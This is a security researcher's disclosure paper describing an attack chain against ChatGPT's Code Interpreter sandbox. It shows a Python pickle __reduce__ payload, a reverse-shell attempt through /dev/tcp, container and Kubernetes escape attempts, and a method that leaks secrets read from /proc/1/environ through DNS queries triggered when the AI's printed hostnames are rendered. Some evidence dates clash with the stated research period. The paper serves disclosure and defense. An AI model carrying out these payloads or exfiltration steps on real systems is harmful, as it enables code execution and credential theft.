Dual Critical Failures: RCE & DNS Exfill in ChatGPT Canvas
Validating DNS Exfiltration and Python Pickle RCE
Attack Chains in AI Code Execution Sandboxes
Research Paper
Version 1.0 | February 2025
Kai Aizen (SnailSploit)
Independent Security Researcher
snailsploit.com | github.com/snailsploit
Target: ChatGPT Code Interpreter
Research Period: December 2024 - January 2025
Status: REPORTED TO OPENAI → DISMISSED
1. Executive Summary
CRITICAL FAILURE A: Python Pickle Insecure Deserialization (CWE-502) The Python pickle module allows arbitrary code execution when processing attacker-controlled serialized objects. Testing confirmed that malicious pickle payloads successfully execute within the sandbox via the __reduce__ method, achieving RCE at user privilege level.
This research documents two critical security vulnerabilities in OpenAI's ChatGPT Code Interpreter. These "Dual Critical Failures" form a synergistic attack chain enabling arbitrary code execution and data exfiltration from an air-gapped sandbox environment.
CRITICAL FAILURE B: DNS Exfiltration via Canvas Rendering (CWE-200) The sandbox blocks direct outbound connections, but the ChatGPT canvas creates an uncontrolled egress channel. When the model prints hostname-like strings, the canvas renders them, triggering DNS queries from the user's browser. Data is encoded in subdomain labels of these queries and captured by an attacker-controlled authoritative nameserver.
Key Findings
| Finding | Severity | CWE |
|---|---|---|
| Python Pickle RCE via __reduce__ | CRITICAL | CWE-502 |
| DNS Exfiltration via Canvas/Subdomain Encoding | HIGH | CWE-200 |
| Combined Kill Chain | CRITICAL | Combined |
| Traditional LPE (PwnKit, Dirty Pipe) | MITIGATED | N/A |
| AWS IMDS Access | MITIGATED | N/A |
| Resource Exhaustion (DoS) | MEDIUM | CWE-400 |
THE META COMPARISON Meta acknowledged and patched CVE-2024-50050 (pickle deserialization in Llama-Stack) within 11 days. OpenAI dismissed this report documenting the same vulnerability class. Same vulnerability, opposite responses.
2. Research Timeline
| Date | Event | Significance |
|---|---|---|
| Sep 29, 2024 | Oligo reports CVE-2024-50050 to Meta | Pickle RCE in Llama-Stack |
| Oct 10, 2024 | Meta patches Llama-Stack | Replaced pickle with JSON |
| Oct 24, 2024 | CVE-2024-50050 issued | CVSS 9.3 (Snyk) |
| Dec 2024 | SnailSploit research begins | ChatGPT assessment |
| Jan 2025 | Research completed & reported | Full evidence submitted |
| Jan 2025 | OpenAI dismisses report | Silent Patch |
3. Target Environment Analysis
3.1 Container Architecture
| Component | Configuration | Implication |
|---|---|---|
| User Context | sandbox (UID > 1000) | Non-root execution |
| Privilege Mode | no-new-privileges=1 | SUID neutralization |
| Syscall Filter | Seccomp (restricted) | Kernel exploit mitigation |
| Network Policy | Default Deny (outbound) | Direct exfil blocked |
3.2 Evidence: Root Filesystem Enumeration
Date: January 20, 2025 23:47
Command:
os.system("python3 /mnt/data/test.py") Output:
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var VALIDATED Full root filesystem listing accessible from sandbox context.
3.3 Evidence: /mnt/data Directory
Output:
drwxr-xr-x 2 sandbox sandbox 80 Jan 20 23:20 .
-rw-r--r-- 1 sandbox sandbox 321 Jan 20 23:20 Dockerfile
-rwxr-xr-x 1 sandbox sandbox 719 Jan 20 23:15 example_file.py VALIDATED World-writable staging directory at predictable path. This is the ingress vector for malicious pickle payloads.
4. Failed Privilege Escalation Attempts
| Exploit | CVE | Result | Blocking Control |
|---|---|---|---|
| PwnKit | CVE-2021-4034 | BLOCKED | no-new-privileges |
| Dirty Pipe | CVE-2022-0847 | BLOCKED | seccomp filters |
| Dirty COW | CVE-2016-5195 | BLOCKED | Kernel patches |
4.1 Evidence: Kubernetes Escape Attempt
Payload:
subprocess.run(['kubectl', 'apply', '-f', yaml_file], check=True) BLOCKED Can deploy Containers but escape via Kubernetes blocked by orchestrator policies.
5. Critical Failure A: Python Pickle RCE
5.1 Vulnerability Overview
| Attribute | Value |
|---|---|
| CWE | CWE-502: Deserialization of Untrusted Data |
| Affected Component | Python pickle module (canvas) |
| Impact | Arbitrary code execution within sandbox |
5.2 The __reduce__ Attack Vector
class Malicious:
def __reduce__(self):
return (os.system, ("whoami",)) # Executes on pickle.load() 5.3 Evidence: Pickle RCE Payload Execution
Date: October 2025
Malicious payload:
class Malicious:
def __reduce__(self):
return (os.system, (cmd_fixed,))
serialized_payload = pickle.dumps(Malicious())
malicious_object = pickle.loads(serialized_payload) Output (STDOUT/STDERR):
bash: connect: Connection refused
bash: line 1: /dev/tcp/127.0.0.1/4444: Connection refused CRITICAL: RCE CONFIRMED The __reduce__ method EXECUTED. os.system was CALLED. A reverse shell was attempted to 127.0.0.1:4444. The "Connection refused" error PROVES the code ran - simply no listener was set up, but arbitrary code execution SUCCEEDED.
6. Critical Failure B: DNS Exfiltration via Canvas
6.1 Vulnerability Overview
| Attribute | Value |
|---|---|
| CWE | CWE-200: Exposure of Sensitive Information |
| Affected Component | ChatGPT Canvas client-side rendering |
| Exfiltration Channel | DNS query names (subdomain-encoded payloads) |
6.2 The Technique
KEY INSIGHT The model only prints strings. The canvas renders those strings. When rendered content resembles a hostname, the browser issues DNS queries. The payload travels encoded in subdomain labels - no HTTP requests needed. The attacker's authoritative nameserver logs the query names.
Attack Flow
- Pickle RCE harvests SECRET from /proc/1/environ
- Script encodes payload using DNS-safe alphabet (base32/base64url)
- Script splits encoded data into chunks (≤63 chars per label)
- Script adds index markers: p001, p002, etc.
- Script prints hostnames: p001_db.MFRGGZDFMZTQ.exfil.lab
- Canvas renders output; browser resolves the hostnames
- DNS queries propagate to attacker's authoritative nameserver
- Attacker logs query names, extracts subdomains, decodes payload
6.3 DNS Message Format
<index><separator><payload-chunk>.attacker-zone.tld Examples:
p001_db.MFRGGZDFMZTQ====.exfil.lab
p002_db.MFWWK3TLNB2GI===.exfil.lab DNS Label Constraints
- Each label: ≤ 63 characters
- Total FQDN: ≤ 253 characters
- Character set: alphanumeric + hyphen (DNS-safe)
- Index prefix ensures correct chunk ordering
6.4 Lab Setup: Authoritative Resolver
# Make test zone LOCAL and AUTHORITATIVE
local=/exfil.lab/
# Wildcard reply keeps lookups successful
address=/.exfil.lab/127.0.0.1
# Per-query logging captures full subdomain
log-queries
log-facility=/opt/homebrew/var/log/dnsmasq.log 6.5 Captured DNS Query Logs
Jun 01 12:00:01 dnsmasq: query[A] p001_db.MFRGGZDFMZTQ.exfil.lab from 127.0.0.1
Jun 01 12:00:01 dnsmasq: reply p001_db.MFRGGZDFMZTQ.exfil.lab is 127.0.0.1
Jun 01 12:00:02 dnsmasq: query[A] p002_db.MFWWK3TLNB2G.exfil.lab from 127.0.0.1 6.6 Why This Bypasses All Server-Side Controls
- Container firewall irrelevant: Request from user's browser, not sandbox
- No HTTP needed: Exfiltration is purely in DNS query names
- CORS irrelevant: No cross-origin HTTP request occurs
- CSP cannot block DNS resolution for rendered hostnames
7. The Unified Kill Chain
7.1 Why Synergy is Required
Pickle RCE Alone: Without an egress channel, secrets remain trapped. Direct network connections are blocked.
DNS Exfiltration Alone: Without RCE, cannot access low-level OS secrets (/proc, env vars, tokens) outside LLM context.
7.2 Complete Attack Chain
| Stage | Action | Failure | Outcome |
|---|---|---|---|
| 1. Ingress | Upload malicious.pkl | Trust Model | File at /mnt/data |
| 2. Trigger | "Analyze this file" | Auto-Execution | pickle.load() called |
| 3. Execution | __reduce__ runs | Failure A (RCE) | Reads /proc/1/environ |
| 4. Encoding | Base32 + chunk | Compute | Subdomain labels ready |
| 5. Output | Print hostnames | Failure B | Canvas renders FQDNs |
| 6. Exfiltration | Browser DNS | Subdomain Channel | NS logs payload |
8. MITRE ATT&CK Mapping
| Tactic | Technique | Application |
|---|---|---|
| Initial Access | T1566.001 Phishing: Attachment | Malicious pickle upload |
| Execution | T1059.006 Python | Pickle RCE |
| Credential Access | T1552.001 Credentials in Files | Harvest /proc/1/environ |
| Exfiltration | T1048.003 Exfil Over Alt Protocol | DNS subdomain tunneling |
11. Conclusion
This research validates the "Dual Critical Failures" hypothesis: AI sandboxes hardened against kernel-level privilege escalation remain vulnerable to application-layer attack chains.
Traditional exploits (PwnKit, Dirty Pipe, IMDS) all fail. However, the combination of Python Pickle RCE and DNS Exfiltration via subdomain-encoded queries through canvas rendering creates a complete kill chain at CVSS 9.1 Critical.
KEY TAKEAWAY Every serialized object is a potential payload. Every rendered hostname is a potential leak. Immediate remediation requires treating AI output as untrusted and eliminating pickle from user-facing workflows.
— End of Document —
12. Appendix
Logs and evidence can be found at: github.com/SnailSploit/chatgpt-rce-dns